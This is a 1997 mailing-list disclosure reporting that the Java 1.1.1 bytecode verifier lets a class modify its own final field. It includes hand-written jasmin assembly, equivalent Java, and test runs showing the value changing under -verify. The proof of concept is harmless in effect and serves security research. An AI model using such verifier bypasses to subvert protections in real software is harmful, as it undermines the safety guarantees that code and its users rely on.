New(?) bytecode verification weakness

Bill Frantz (frantz@communities.com)
Fri, 30 May 1997 11:25:32 -0700

Message-Id: <3.0.32.19970530112529.0068df28@homer.communities.com>
Date: Fri, 30 May 1997 11:25:32 -0700
To: java-security@web2.javasoft.com, kimera@cs.washington.edu,
From: Bill Frantz <frantz@communities.com>
Subject: New(?) bytecode verification weakness

Apologies if you get a similar message. My Windows95 system crashed as I
was sending the previous version, and the one I sent did not appear in my
"out" file.

I believe I have found a new weakness in the java bytecode verifier in
java version 1.1.1. I have only tested it on a Sparc running Solaris.

The weakness is that the bytecode verifier does not adequately check that
a "final" field is actually final in the class in which it is defined. I
have managed to run a class (coded in assembler) which includes a method
which changes a field declared as final.

I would like to thank Jon Meyer for making the jasmin assembler
<<http://www.mrl.nyu.edu/meyer/jasmin/> available.

Note that I am using styled text to separate commentary from code
examples. I hope it does not cause bad effects on your mail agent.

<bold>Here is the jasmin source for the badguy class:

</bold>host% cat examples/FinalTest.j

.class public examples/FinalTest

.super java/lang/Object

.field static final foo Ljava/lang/Integer;

;

; standard initializer

.method public <<init>()V

aload_0


invokenonvirtual java/lang/Object/<<init>()V

return

.end method

.method public static <<clinit>()V

.limit stack 3

new java/lang/Integer

dup

iconst_1

invokenonvirtual java/lang/Integer/<<init>(I)V

putstatic examples/FinalTest/foo Ljava/lang/Integer;

return

.end method

.method public static putFoo(Ljava/lang/Integer;)V

.limit stack 1

aload_0

putstatic examples/FinalTest/foo Ljava/lang/Integer;

return

.end method

<bold>This assembly file is the equivalent of:

</bold>

package examples;

class FinalTest {

static final Integer foo = new Integer(1);

public static void putFoo(Integer i) {

foo = i;

}

}

<bold>The test program and its execution:

</bold>host% cat examples/Test.java

package examples;

public class Test {

public static void main(String[] args) {

System.out.println("foo = " + FinalTest.foo.toString());

FinalTest.putFoo(new Integer(2));

System.out.println("foo = " + FinalTest.foo.toString());

}

}

host% java -verify examples.Test

foo = 1

foo = 2

<bold>Another test which was compiled when foo was not declared "final"
(If foo is declared final in the jasmin source, then Set gets a compile
time error.) This example shows that the field is correctly checked when
accessed from another class:

</bold>host% cat examples/Set.java

package examples;

public class Set {

public static void main(String[] args) {

FinalTest.foo = new Integer(2);

System.out.println("foo = " + FinalTest.foo.toString());

}

}

host% java -verify examples.Set

java.lang.IllegalAccessError: examples.FinalTest: field foo is final

at examples.Set.main(Set.java:6)

Bill Frantz Electric Communities

Capability Security Guru 10101 De Anza Blvd.

frantz@communities.com Cupertino, CA 95014

408/342-9576 http://www.communities.com